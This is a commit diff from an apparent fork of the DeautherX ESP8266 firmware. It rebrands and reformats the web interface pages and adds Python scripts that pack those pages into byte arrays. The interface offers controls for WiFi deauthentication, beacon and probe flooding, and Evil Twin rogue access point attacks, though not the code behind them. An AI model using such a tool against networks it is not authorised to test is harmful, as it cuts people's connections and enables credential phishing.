8 Commits

22 changed files with 2250 additions and 754 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

File diff suppressed because one or more lines are too long

View File

@@ -1 +1,119 @@
<!Doctype html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui"><meta name="theme-color" content="#36393E"><meta name="description" content="DeautherX"><title>DeautherX</title><link rel="stylesheet" type="text/css" href="style.css"><script src="js/site.js"></script><script src="js/attack.js"></script></head><body onload="loadLang()"><nav><ul class="menu"><li><a href="scan.html" data-translate="scan">Scan</a></li><li><a href="ssids.html" data-translate="ssids">SSIDs</a></li><li><a href="attack.html" data-translate="attacks">Attack</a></li><li><a href="fsmanager.html">FS</a></li><li><a href="settings.html" data-translate="settings">Settings</a></li></ul></nav><div id=status></div><div class="container"><div class="row"><div class="col-12"><h1 class="header" data-translate="attacks">Attacks</h1><p><span class="red" data-translate="info_span">INFO:</span><br><span data-translate="attack_info">- You might lose connection when starting an attack!<br>- You need to select a target for the deauth attack.<br>- You need a saved SSID for the beacon and probe attack.<br>- Click reload to refresh the packet rate.<br></span><span data-translate="info_disclaimer">In case of an unexpected error, please reload the site andlook at the serial monitor for further debugging.</span><br></p><p class="right"><button onclick="stopAll()" data-translate="stop">stop</button><button onclick="load()" data-translate="reload">reload</button></p><table><tr><th data-translate="attacks">Attacks</th><th data-translate="targets">Targets</th><th>Pkts/s</th><th data-translate="start_stop">START / STOP</th></tr><tr><td>Deauth</td><td id="deauthTargets">0</td><td id="deauthPkts">0/0</td><td><button id="deauth" onclick="start(0)" class="select" data-translate="start">START</button></td></tr><tr><td>Deauth All</td><td id="deauthAllTargets">0</td><td id="deauthAllPkts">0/0</td><td><button id="deauthAll" onclick="start(3)" class="select" data-translate="start">START</button></td></tr><tr><td>Beacon</td><td id="beaconTargets">0</td><td id="beaconPkts">0/0</td><td><button id="beacon" onclick="start(1)" class="select" data-translate="start">START</button></td></tr><tr><td>Probe</td><td id="probeTargets">0</td><td id="probePkts">0/0</td><td><button id="probe" onclick="start(2)" class="select" data-translate="start">START</button></td></tr><tr><td>Evil Twin</td><td id="evilTwinTargets">[Nothing]</td><td></td><td><button id="evilTwin" onclick="start(4)" class="select" data-translate="start">START</button></td></tr><tr><td colspan="2">All Pkts/s:</td><td colspan="2" id="allpkts">0</td></tr></table><h2>Deauth</h2><p data-translate="deauth_desc">Closes the connection of WiFi devices by sending deauthentication frames to access points and clientdevices you selected.<br>This is only possible because a lot of devices don't use the 802.11w-2009 standard that offers aprotection against this attack.<br>Please only select one target! When you select multiple targets that run on different channels andstart the attack,it will quickly switch between those channels and you have no chance to reconnect to the accesspoint that hosts this web interface.</p><h2>Beacon</h2><p data-translate="beacon_desc">Beacon packets are used to advertise access points. By continuously sending beacon packets out, itwill look like you created new WiFi networks.<br>You can specify the network names under SSIDs.<br></p><h2>Probe</h2><p data-translate="probe_desc">Probe requests are sent by client devices to ask if a known network is nearby.<br>Use this attack to confuse WiFi trackers by asking for networks that you specified in the SSIDlist.<br>It's unlikely you will see any impact by this attack with your home network.<br></p></div></div></div><footer><span id="DeautherX">DeautherX</span><br><span id="deautherx">By BlackTechX</span><br><br><a href="http:/github.com/BlackTechX011/deautherx/wiki" target="_blank">Wiki</a> | <a href="info.html">Credits</a></footer></body></html>
<!Doctype html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="theme-color" content="#36393E">
<meta name="description" content="DeautherX">
<title>DeautherX</title>
<link rel="stylesheet" type="text/css" href="style.css">
<script src="js/site.js"></script>
<script src="js/attack.js"></script>
</head>
<body onload="loadLang()">
<nav>
<ul class="menu">
<li><a>NKSP DEAUTHERX</a></li>
<li><a>|</a></li>
<li><a href="scan.html" data-translate="scan">Scan</a></li>
<li><a>|</a></li>
<li><a href="ssids.html" data-translate="ssids">SSIDs</a></li>
<li><a href="attack.html" data-translate="attacks">Attack</a></li>
<li><a>|</a></li>
<li><a href="fsmanager.html" data-translate="settings">FileSystem</a></li>
<li><a href="settings.html" data-translate="settings">Settings</a></li>
</ul>
</nav>
<div id=status></div>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header" data-translate="attacks">Attacks</h1>
<p><span class="red" data-translate="info_span">INFO:</span><br><span data-translate="attack_info">- You
might lose connection when starting an attack!<br>- You need to select a target for the deauth
attack.<br>- You need a saved SSID for the beacon and probe attack.<br>- Click reload to refresh
the packet rate.<br></span><span data-translate="info_disclaimer">In case of an unexpected
error, please reload the site andlook at the serial monitor for further debugging.</span><br>
</p>
<p class="right"><button onclick="stopAll()" data-translate="stop">stop</button><button onclick="load()"
data-translate="reload">reload</button></p>
<table>
<tr>
<th data-translate="attacks">Attacks</th>
<th data-translate="targets">Targets</th>
<th>Pkts/s</th>
<th data-translate="start_stop">START / STOP</th>
</tr>
<tr>
<td>Deauth</td>
<td id="deauthTargets">0</td>
<td id="deauthPkts">0/0</td>
<td><button id="deauth" onclick="start(0)" class="select" data-translate="start">START</button>
</td>
</tr>
<tr>
<td>Deauth All</td>
<td id="deauthAllTargets">0</td>
<td id="deauthAllPkts">0/0</td>
<td><button id="deauthAll" onclick="start(3)" class="select"
data-translate="start">START</button></td>
</tr>
<tr>
<td>Beacon</td>
<td id="beaconTargets">0</td>
<td id="beaconPkts">0/0</td>
<td><button id="beacon" onclick="start(1)" class="select" data-translate="start">START</button>
</td>
</tr>
<tr>
<td>Probe</td>
<td id="probeTargets">0</td>
<td id="probePkts">0/0</td>
<td><button id="probe" onclick="start(2)" class="select" data-translate="start">START</button>
</td>
</tr>
<tr>
<td>Evil Beacon</td>
<td id="evilTwinTargets">[Nothing]</td>
<td></td>
<td><button id="evilBeacon" onclick="start(4)" class="select"
data-translate="start">START</button></td>
</tr>
<tr>
<td>Evil Twin</td>
<td id="evilTwinTargets">[Nothing]</td>
<td></td>
<td><button id="evilTwin" onclick="start(4)" class="select"
data-translate="start">START</button></td>
</tr>
<tr>
<td colspan="2">All Pkts/s:</td>
<td colspan="2" id="allpkts">0</td>
</tr>
</table>
<h2>Deauth</h2>
<p data-translate="deauth_desc">Closes the connection of WiFi devices by sending deauthentication frames
to access points and clientdevices you selected.<br>This is only possible because a lot of devices
don't use the 802.11w-2009 standard that offers aprotection against this attack.<br>Please only
select one target! When you select multiple targets that run on different channels andstart the
attack,it will quickly switch between those channels and you have no chance to reconnect to the
accesspoint that hosts this web interface.</p>
<h2>Beacon</h2>
<p data-translate="beacon_desc">Beacon packets are used to advertise access points. By continuously
sending beacon packets out, itwill look like you created new WiFi networks.<br>You can specify the
network names under SSIDs.<br></p>
<h2>Probe</h2>
<p data-translate="probe_desc">Probe requests are sent by client devices to ask if a known network is
nearby.<br>Use this attack to confuse WiFi trackers by asking for networks that you specified in the
SSIDlist.<br>It's unlikely you will see any impact by this attack with your home network.<br></p>
</div>
</div>
</div>
<footer><span id="DeautherX">DX NKSP</span><br><span id="deautherx">By NKSP</span><br><br><a
href="http:/github.com/BlackTechX011/deautherx/wiki" target="_blank">Wiki</a> | <a
href="info.html">Credits</a></footer>
</body>
</html>

View File

@@ -1 +1,59 @@
<!Doctype html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui"><meta name="theme-color" content="#36393E"><meta name="description" content="DeautherX"><title>DeautherX</title><link rel="stylesheet" type="text/css" href="style.css"><script src="js/site.js"></script><script src="js/fs.js"></script></head><body onload="loadLang()"><nav><ul class="menu"><li><a href="scan.html" data-translate="scan">Scan</a></li><li><a href="ssids.html" data-translate="ssids">SSIDs</a></li><li><a href="attack.html" data-translate="attacks">Attack</a></li><li><a href="fsmanager.html">FS</a></li><li><a href="settings.html" data-translate="settings">Settings</a></li></ul></nav><div id="status"></div><div class="container"><div class="row"><div class="col-12"><h1 class="header">FS Manager</h1><div style="padding-left: 20px; padding-right: 20px; border-style: solid; border-width: 1px; border-left-width: 0; border-right-width: 0;"><table id="log"></table></div><div style="padding: 20px; border-style: solid; border-width: 1px; border-left-width: 0; border-right-width: 0;"><form action="/pathsave" method="get"><a style="padding-bottom: 20px;" href="/eviltwin">Evil Twin</a><input type="text" name="path" id="eviltwinpath" placeholder="/example.html"><input type="submit" value="save"><br><br></form><form action='/upload' style="display: flex;" method='post' enctype='multipart/form-data'><input type='file' name='upload' placeholder=""><input type='submit' value='Upload'></form><table id="fileList"><p id="fsinfo"></p><th>File Name</th><th>Size</th><th></th></table><button onclick="format();" style="width: 100%; margin-top: 20px;">Format Data</button></div></div></div></div><footer><span id="DeautherX">DeautherX</span><br><span id="deautherx">By BlackTechX</span><br><br><a href="http://deauther.maltronics.com" target="_blank">Wiki</a> | <a href="info.html">Credits</a></footer></body></html>
<!Doctype html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="theme-color" content="#36393E">
<meta name="description" content="DeautherX">
<title>DeautherX</title>
<link rel="stylesheet" type="text/css" href="style.css">
<script src="js/site.js"></script>
<script src="js/fs.js"></script>
</head>
<body onload="loadLang()">
<nav>
<ul class="menu">
<li><a>NKSP DEAUTHERX</a></li>
<li><a>|</a></li>
<li><a href="scan.html" data-translate="scan">Scan</a></li>
<li><a>|</a></li>
<li><a href="ssids.html" data-translate="ssids">SSIDs</a></li>
<li><a href="attack.html" data-translate="attacks">Attack</a></li>
<li><a>|</a></li>
<li><a href="fsmanager.html" data-translate="settings">FileSystem</a></li>
<li><a href="settings.html" data-translate="settings">Settings</a></li>
</ul>
</nav>
<div id="status"></div>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header">FS Manager</h1>
<div
style="padding-left: 20px; padding-right: 20px; border-style: solid; border-width: 1px; border-left-width: 0; border-right-width: 0;">
<table id="log"></table>
</div>
<div
style="padding: 20px; border-style: solid; border-width: 1px; border-left-width: 0; border-right-width: 0;">
<form action="/pathsave" method="get"><a style="padding-bottom: 20px;" href="/eviltwin">Evil
Twin</a><input type="text" name="path" id="eviltwinpath" placeholder="/example.html"><input
type="submit" value="save"><br><br></form>
<form action='/upload' style="display: flex;" method='post' enctype='multipart/form-data'><input
type='file' name='upload' placeholder=""><input type='submit' value='Upload'></form>
<table id="fileList">
<p id="fsinfo"></p>
<th>File Name</th>
<th>Size</th>
<th></th>
</table><button onclick="format();" style="width: 100%; margin-top: 20px;">Format Data</button>
</div>
</div>
</div>
</div>
<footer><span id="DeautherX">DX NKSP</span><br><span id="deautherx">By NKSP</span><br><br><a
href="http://deauther.maltronics.com" target="_blank">Wiki</a> | <a href="info.html">Credits</a></footer>
</body>
</html>

View File

@@ -0,0 +1,59 @@
import os
import gzip
import tarfile
import glob
def create_gz_archive(html_files, output_name='all_html.tar.gz'):
"""Creates a .gz archive of all .html files."""
with tarfile.open(output_name, 'w:gz') as tar:
for html_file in html_files:
tar.add(html_file)
def create_byte_array(gz_file_path, array_name):
"""Creates a text file with a byte array from the .gz file."""
with open(gz_file_path, 'rb') as f:
data = f.read()
# Format bytes in hex, 16 per line
hex_lines = []
for i in range(0, len(data), 16):
line = ', '.join(f'0x{byte:02X}' for byte in data[i:i+16])
hex_lines.append(line)
# Create file content
content = f'const char {array_name}[] PROGMEM = {{\n'
content += ',\n'.join(hex_lines)
content += '\n};\n'
# Write to file
txt_file = gz_file_path.replace('.gz', '.txt')
with open(txt_file, 'w') as f:
f.write(content)
def main():
# Find all .html files in the current folder
html_files = glob.glob('*.css')
if not html_files:
print("No .css files found in the current folder.")
return
# For each .html file, create a separate .gz and byte array
for html_file in html_files:
# .gz file name: html_file + .gz, e.g., attack.html.gz
gz_file = f"{html_file}.gz"
# Array name: base name without extension + 'html', e.g., attackhtml
base_name = os.path.splitext(html_file)[0].replace('.', '') + 'css'
# Compress .html to .gz
with open(html_file, 'rb') as f_in:
with gzip.open(gz_file, 'wb') as f_out:
f_out.writelines(f_in)
# Create byte array
create_byte_array(gz_file, base_name)
print(f"Created: {gz_file} and {gz_file.replace('.gz', '.txt')}")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,63 @@
import os
import gzip
import tarfile
import glob
def create_gz_archive(html_files, output_name='all_html.tar.gz'):
"""Creates a .gz archive of all .html files."""
with tarfile.open(output_name, 'w:gz') as tar:
for html_file in html_files:
tar.add(html_file)
def create_byte_array(gz_file_path, array_name):
"""Creates a text file with a byte array from the .gz file."""
with open(gz_file_path, 'rb') as f:
data = f.read()
# Format bytes in hex, 16 per line
hex_lines = []
for i in range(0, len(data), 16):
line = ', '.join(f'0x{byte:02X}' for byte in data[i:i+16])
hex_lines.append(line)
# Create file content
content = f'const char {array_name}[] PROGMEM = {{\n'
content += ',\n'.join(hex_lines)
content += '\n};\n'
# Write to file
txt_file = gz_file_path.replace('.gz', '.txt')
with open(txt_file, 'w') as f:
f.write(content)
def main():
# Find all .html files in the current folder
html_files = glob.glob('*.html')
if not html_files:
print("No .html files found in the current folder.")
return
# Create a combined .gz archive of all .html files
create_gz_archive(html_files)
print(f"Created archive: all_html.tar.gz")
# For each .html file, create a separate .gz and byte array
for html_file in html_files:
# .gz file name: html_file + .gz, e.g., attack.html.gz
gz_file = f"{html_file}.gz"
# Array name: base name without extension + 'html', e.g., attackhtml
base_name = os.path.splitext(html_file)[0].replace('.', '') + 'html'
# Compress .html to .gz
with open(html_file, 'rb') as f_in:
with gzip.open(gz_file, 'wb') as f_out:
f_out.writelines(f_in)
# Create byte array
create_byte_array(gz_file, base_name)
print(f"Created: {gz_file} and {gz_file.replace('.gz', '.txt')}")
if __name__ == "__main__":
main()

View File

@@ -1,16 +1,16 @@
<!DOCTYPE html>
<html>
<head>
<title>DeautherX</title>
<title>DX NKSP</title>
<script src="js/site.js"></script>
</head>
<body>
<h1 data-value="DeautherX">DeautherX</h1>
<p class="modified-text">created by BlackTechX</p>
<h1 data-value="DX NKSP">DX NKSP</h1>
<p class="modified-text">created by NKSP</p>
<script>
const letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const letters = "ZVZVZVZVZVZVZVZVZVZVZVZVZV";
let interval = null;
window.addEventListener("DOMContentLoaded", () => {
@@ -38,7 +38,7 @@ function startLetterAnimation() {
clearInterval(interval);
setTimeout(() => {
removeOtherLetters();
}, 200); // Adjusted delay for bubbles to appear after 5 seconds
}, 200);
}
iteration += 1 / 3;
@@ -189,7 +189,7 @@ h1 {
width: 100%;
height: 100%;
border-radius: 50%;
background-color: rgb(255, 255, 255); /* Default white color */
background-color: rgb(104, 0, 0); /* Default white color */
}

View File

@@ -1 +1,90 @@
<!Doctype html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui"><meta name="theme-color" content="#36393E"><meta name="description" content="DeautherX"><title>DeautherX</title><link rel="stylesheet" type="text/css" href="style.css"><script src="js/site.js"></script></head><body onload="loadLang()"><nav><ul class="menu"><li><a href="scan.html" data-translate="scan">Scan</a></li><li><a href="ssids.html" data-translate="ssids">SSIDs</a></li><li><a href="attack.html" data-translate="attacks">Attack</a></li><li><a href="fsmanager.html">FS</a></li><li><a href="settings.html" data-translate="settings">Settings</a></li></ul></nav><div id="status"></div><div class="container"><div class="row"><div class="col-12"><h1 class="header">Credits</h1><h2>Disclaimer</h2><p data-translate="disclaimer">This project is a proof of concept for testing and educational purposes.<br>Neither the ESP8266, nor its SDK was meant or build for such purposes. Bugs can occur!<br><br>Use it only against your own networks and devices!<br><br>It uses valid Wi-Fi frames described in the IEEE 802.11 standard and does not block or disrupt anyfrequencies.<br>Please check the legal regulations in your country before using it.<br><br>Please don't refer to this project as "jammer", as it undermines the real purpose of thisproject!<br>If you do, it only proves that you didn't understand anything of what this project stands for.<br>Publishing content about this without without a proper explanation shows that you only do it for theclicks,fame and/or money and have no respect for intellectual property, the community behind it and thefight for a better WiFi standard.<br><br>For more information visit:<br><ahref="https://github.com/spacehuhntech/esp8266_deauther">github.com/spacehuhntech/esp8266_deauther</a></p><h2>Acknowledgements</h2><p>A huge thanks to:<br><ul><li><a href="http://github.com/deantonious" target="_blank">@deantonious</a></li><li><a href="http://github.com/jLynx" target="_blank">@jLynx</a></li><li><a href="http://github.com/lspoplove" target="_blank">@lspoplove</a></li><li><a href="http://github.com/schinfo" target="_blank">@schinfo</a></li><li><a href="http://github.com/tobozo" target="_blank">@tobozo</a></li><li><a href="http://github.com/xdavidhu" target="_blank">@xdavidhu</a></li><li><a href="http://github.com/PwnKitteh" target="_blank">@PwnKitteh</a></li></ul>for helping out with various things regarding this project and keeping it alive!<br><br>Also thanks to everyone working on the libraries used for this project:<br><ul><li><a href="https://github.com/ThingPulse/esp8266-oled-ssd1306"target="_blank">esp8266-oled-ssd1306</a></li><li><a href="https://github.com/bblanchon/ArduinoJson" target="_blank">ArduinoJson</a></li><li><a href="https://github.com/adafruit/Adafruit_DotStar" target="_blank">Adafruit DotStar</a></li><li><a href="https://github.com/adafruit/Adafruit_NeoPixel" target="_blank">Adafruit NeoPixel</a></li><li><a href="https://github.com/NorthernWidget/DS3231" target="_blank">DS3231</a></li><li><a href="https://github.com/xoseperez/my92xx" target="_blank">my92xx</a></li></ul>We also thank Espressif and their community for this awesome chip and all the software andhardware projects around it and the countless tutorials you can find online!<br></p><h2>License</h2><p><b>In regards to the firmware:</b><br><br>MIT License<br>Copyright (c) 2020 Spacehuhn Technologies<br><br>Permission is hereby granted, free of charge, to any person obtaining a copy of this software andassociated documentation files (the "Software"), to deal in the Software without restriction,including without limitation the rights to use, copy, modify, merge, publish, distribute,sublicense, and/or sell copies of the Software, and to permit persons to whom the Software isfurnished to do so, subject to the following conditions:<br><br>The above copyright notice and this permission notice shall be included in all copies or substantialportions of the Software.<br><br>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUTNOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE ANDNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGESOR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR INCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p></div></div></div><footer><span id="DeautherX">DeautherX</span><br><span id="deautherx">By BlackTechX</span><br><br><a href="http://deauther.maltronics.com" target="_blank">Wiki</a> | <a href="info.html">Credits</a></footer></body></html>
<!Doctype html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="theme-color" content="#36393E">
<meta name="description" content="DeautherX">
<title>DeautherX</title>
<link rel="stylesheet" type="text/css" href="style.css">
<script src="js/site.js"></script>
</head>
<body onload="loadLang()">
<nav>
<ul class="menu">
<li><a>NKSP DEAUTHERX</a></li>
<li><a>|</a></li>
<li><a href="scan.html" data-translate="scan">Scan</a></li>
<li><a>|</a></li>
<li><a href="ssids.html" data-translate="ssids">SSIDs</a></li>
<li><a href="attack.html" data-translate="attacks">Attack</a></li>
<li><a>|</a></li>
<li><a href="fsmanager.html" data-translate="settings">FileSystem</a></li>
<li><a href="settings.html" data-translate="settings">Settings</a></li>
</ul>
</nav>
<div id="status"></div>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header">Credits</h1>
<h2>Disclaimer</h2>
<p data-translate="disclaimer">This project is a proof of concept for testing and educational
purposes.<br>Neither the ESP8266, nor its SDK was meant or build for such purposes. Bugs can
occur!<br><br>Use it only against your own networks and devices!<br><br>It uses valid Wi-Fi frames
described in the IEEE 802.11 standard and does not block or disrupt anyfrequencies.<br>Please check
the legal regulations in your country before using it.<br><br>Please don't refer to this project as
"jammer", as it undermines the real purpose of thisproject!<br>If you do, it only proves that you
didn't understand anything of what this project stands for.<br>Publishing content about this without
without a proper explanation shows that you only do it for theclicks,fame and/or money and have no
respect for intellectual property, the community behind it and thefight for a better WiFi
standard.<br><br>For more information visit:<br>
<ahref="https: //github.com/spacehuhntech/esp8266_deauther">
github.com/spacehuhntech/esp8266_deauther</a>
</p>
<h2>Acknowledgements</h2>
<p>A huge thanks to:<br>
<ul>
<li><a href="http://github.com/deantonious" target="_blank">@deantonious</a></li>
<li><a href="http://github.com/jLynx" target="_blank">@jLynx</a></li>
<li><a href="http://github.com/lspoplove" target="_blank">@lspoplove</a></li>
<li><a href="http://github.com/schinfo" target="_blank">@schinfo</a></li>
<li><a href="http://github.com/tobozo" target="_blank">@tobozo</a></li>
<li><a href="http://github.com/xdavidhu" target="_blank">@xdavidhu</a></li>
<li><a href="http://github.com/PwnKitteh" target="_blank">@PwnKitteh</a></li>
</ul>for helping out with various things regarding this project and keeping it alive!<br><br>Also thanks
to everyone working on the libraries used for this project:<br>
<ul>
<li><a href="https://github.com/ThingPulse/esp8266-oled-ssd1306"
target="_blank">esp8266-oled-ssd1306</a></li>
<li><a href="https://github.com/bblanchon/ArduinoJson" target="_blank">ArduinoJson</a></li>
<li><a href="https://github.com/adafruit/Adafruit_DotStar" target="_blank">Adafruit DotStar</a></li>
<li><a href="https://github.com/adafruit/Adafruit_NeoPixel" target="_blank">Adafruit NeoPixel</a>
</li>
<li><a href="https://github.com/NorthernWidget/DS3231" target="_blank">DS3231</a></li>
<li><a href="https://github.com/xoseperez/my92xx" target="_blank">my92xx</a></li>
</ul>We also thank Espressif and their community for this awesome chip and all the software andhardware
projects around it and the countless tutorials you can find online!<br></p>
<h2>License</h2>
<p><b>In regards to the firmware:</b><br><br>MIT License<br>Copyright (c) 2020 Spacehuhn
Technologies<br><br>Permission is hereby granted, free of charge, to any person obtaining a copy of
this software andassociated documentation files (the "Software"), to deal in the Software without
restriction,including without limitation the rights to use, copy, modify, merge, publish,
distribute,sublicense, and/or sell copies of the Software, and to permit persons to whom the
Software isfurnished to do so, subject to the following conditions:<br><br>The above copyright
notice and this permission notice shall be included in all copies or substantialportions of the
Software.<br><br>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
INCLUDING BUTNOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE
ANDNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGESOR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
OR INCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p>
</div>
</div>
</div>
<footer><span id="DeautherX">DX NKSP</span><br><span id="deautherx">By NKSP</span><br><br><a
href="http://deauther.maltronics.com" target="_blank">Wiki</a> | <a href="info.html">Credits</a></footer>
</body>
</html>

View File

@@ -1 +1,90 @@
<!Doctype html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui"><meta name="theme-color" content="#36393E"><meta name="description" content="DeautherX"><title>DeautherX</title><link rel="stylesheet" type="text/css" href="style.css"><script src="js/site.js"></script><script src="js/scan.js"></script></head><body onload="loadLang()"><nav><ul class="menu"><li><a href="scan.html" data-translate="scan">Scan</a></li><li><a href="ssids.html" data-translate="ssids">SSIDs</a></li><li><a href="attack.html" data-translate="attacks">Attack</a></li><li><a href="fsmanager.html">FS</a></li><li><a href="settings.html" data-translate="settings">Settings</a></li></ul></nav><div id="status"></div><div class="container"><div class="row"><div class="col-12"><h1 class="header" data-translate="scan">Scan</h1><button id=scanZero onclick="scan(0)">Scan APs</button><button id=scanOne onclick="scan(1)">Scan Stations</button><button id=RButton onclick="load()" data-translate="reload" class="right">Reload</button></div></div><div class="row"><div class="col-6"><label for="ch" data-translate="channel">Channel</label></div><div class="col-6"><select id="ch" name="ch"><option value="all" data-translate="all">All</option><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option><option value="6">6</option><option value="7">7</option><option value="8">8</option><option value="9">9</option><option value="10">10</option><option value="11">11</option><option value="12">12</option><option value="13">13</option><option value="14">14</option></select></div></div><div class="row"><div class="col-6"><label data-translate="station_scan_time">Station Scan Time</label></div><div class="col-6"><input type="number" value="15" id="scanTime">s</div></div><div class="row"><div class="col-12"><p><span class="red" data-translate="info_span">INFO: </span><br><span data-translate="scan_info">- Click Scan and wait until the blue LED on your board turns off (or changes to green), thenclick on Reload.<br>- The web interface will be unavailable during a station scan and you will have toreconnect!<br>- Please select only one target!<br></span><span data-translate="info_disclaimer">In case of an unexpected error, please reload the site andlook at the serial monitor for further debugging.</span></p><hr><h2><span>Access Points</span>: <span id="apNum"></span></h2><table id="apTable"></table><button onclick="selectAll(0,true)" data-translate="select_all">select all</button><button onclick="selectAll(0,false)" data-translate="deselect_all">deselect all</button><hr><h2><span>Stations</span>: <span id="stNum"></span></h2><table id="stTable"></table><button onclick="selectAll(1,true)" data-translate="select_all">select all</button><button onclick="selectAll(1,false)" data-translate="deselect_all">deselect all</button><hr><h2><span data-translate="devices">Saved Devices</span>: <span id="nNum"></span></h2><table id="nTable"></table><button onclick="selectAll(2,true)" data-translate="select_all">select all</button><button onclick="selectAll(2,false)" data-translate="deselect_all">deselect all</button><button onclick="add(2)" data-translate="new">new</button></div></div></div><footer><span id="DeautherX">DeautherX</span><br><span id="deautherx">By BlackTechX</span><br><br><a href="http://deauther.maltronics.com" target="_blank">Wiki</a> | <a href="info.html">Credits</a></footer></body></html>
<!Doctype html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="theme-color" content="#36393E">
<meta name="description" content="DeautherX">
<title>DeautherX</title>
<link rel="stylesheet" type="text/css" href="style.css">
<script src="js/site.js"></script>
<script src="js/scan.js"></script>
</head>
<body onload="loadLang()">
<nav>
<ul class="menu">
<li><a>NKSP DEAUTHERX</a></li>
<li><a>|</a></li>
<li><a href="scan.html" data-translate="scan">Scan</a></li>
<li><a>|</a></li>
<li><a href="ssids.html" data-translate="ssids">SSIDs</a></li>
<li><a href="attack.html" data-translate="attacks">Attack</a></li>
<li><a>|</a></li>
<li><a href="fsmanager.html" data-translate="settings">FileSystem</a></li>
<li><a href="settings.html" data-translate="settings">Settings</a></li>
</ul>
</nav>
<div id="status"></div>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header" data-translate="scan">Scan</h1><button id=scanZero onclick="scan(0)">Scan
APs</button><button id=scanOne onclick="scan(1)">Scan Stations</button><button id=RButton
onclick="load()" data-translate="reload" class="right">Reload</button>
</div>
</div>
<div class="row">
<div class="col-6"><label for="ch" data-translate="channel">Channel</label></div>
<div class="col-6"><select id="ch" name="ch">
<option value="all" data-translate="all">All</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
</select></div>
</div>
<div class="row">
<div class="col-6"><label data-translate="station_scan_time">Station Scan Time</label></div>
<div class="col-6"><input type="number" value="15" id="scanTime">s</div>
</div>
<div class="row">
<div class="col-12">
<p><span class="red" data-translate="info_span">INFO: </span><br><span data-translate="scan_info">-
Click Scan and wait until the blue LED on your board turns off (or changes to green), thenclick
on Reload.<br>- The web interface will be unavailable during a station scan and you will have
toreconnect!<br>- Please select only one target!<br></span><span
data-translate="info_disclaimer">In case of an unexpected error, please reload the site andlook
at the serial monitor for further debugging.</span></p>
<hr>
<h2><span>Access Points</span>: <span id="apNum"></span></h2>
<table id="apTable"></table><button onclick="selectAll(0,true)" data-translate="select_all">select
all</button><button onclick="selectAll(0,false)" data-translate="deselect_all">deselect all</button>
<hr>
<h2><span>Stations</span>: <span id="stNum"></span></h2>
<table id="stTable"></table><button onclick="selectAll(1,true)" data-translate="select_all">select
all</button><button onclick="selectAll(1,false)" data-translate="deselect_all">deselect all</button>
<hr>
<h2><span data-translate="devices">Saved Devices</span>: <span id="nNum"></span></h2>
<table id="nTable"></table><button onclick="selectAll(2,true)" data-translate="select_all">select
all</button><button onclick="selectAll(2,false)" data-translate="deselect_all">deselect
all</button><button onclick="add(2)" data-translate="new">new</button>
</div>
</div>
</div>
<footer><span id="DeautherX">DX NKSP</span><br><span id="deautherx">By NKSP</span><br><br><a
href="https://nkspo.ru" target="_blank">Nksp</a> | <a href="info.html">Credits</a></footer>
</body>
</html>

View File

@@ -1 +1,53 @@
<!Doctype html><html><head><meta charset=UTF-8><meta name=viewport content="width=device-width, initial-scale=0.8, minimal-ui"><meta name=theme-color content=#36393E><meta name=description content=DeautherX><title>DeautherX</title><link rel=stylesheet type=text/css href=style.css><script src=js/site.js></script><script src=js/settings.js></script></head><body onload=loadLang()><nav><ul class=menu><li><a href=scan.html data-translate=scan>Scan</a></li><li><a href=ssids.html data-translate=ssids>SSIDs</a></li><li><a href=attack.html data-translate=attacks>Attack</a></li><li><a href=fsmanager.html>FS</a></li><li><a href=settings.html data-translate=settings>Settings</a></li></ul></nav><div id=status></div><div class=container><div class=row><div class=col-12><h1 class=header data-translate=settings>Settings</h1><button onclick="getFile('run?cmd=stopap');alert('Turning off access point now. Restart your Deauther to be able to connect again.')" class=red data-translate=wifi_off>WiFi off</button><button onclick="getFile('run?cmd=reset;;save settings')" class=red data-translate=reset>Reset</button><button onclick="getFile('run?cmd=reboot')" class="red right" data-translate=reboot>reboot</button><p><span class=red 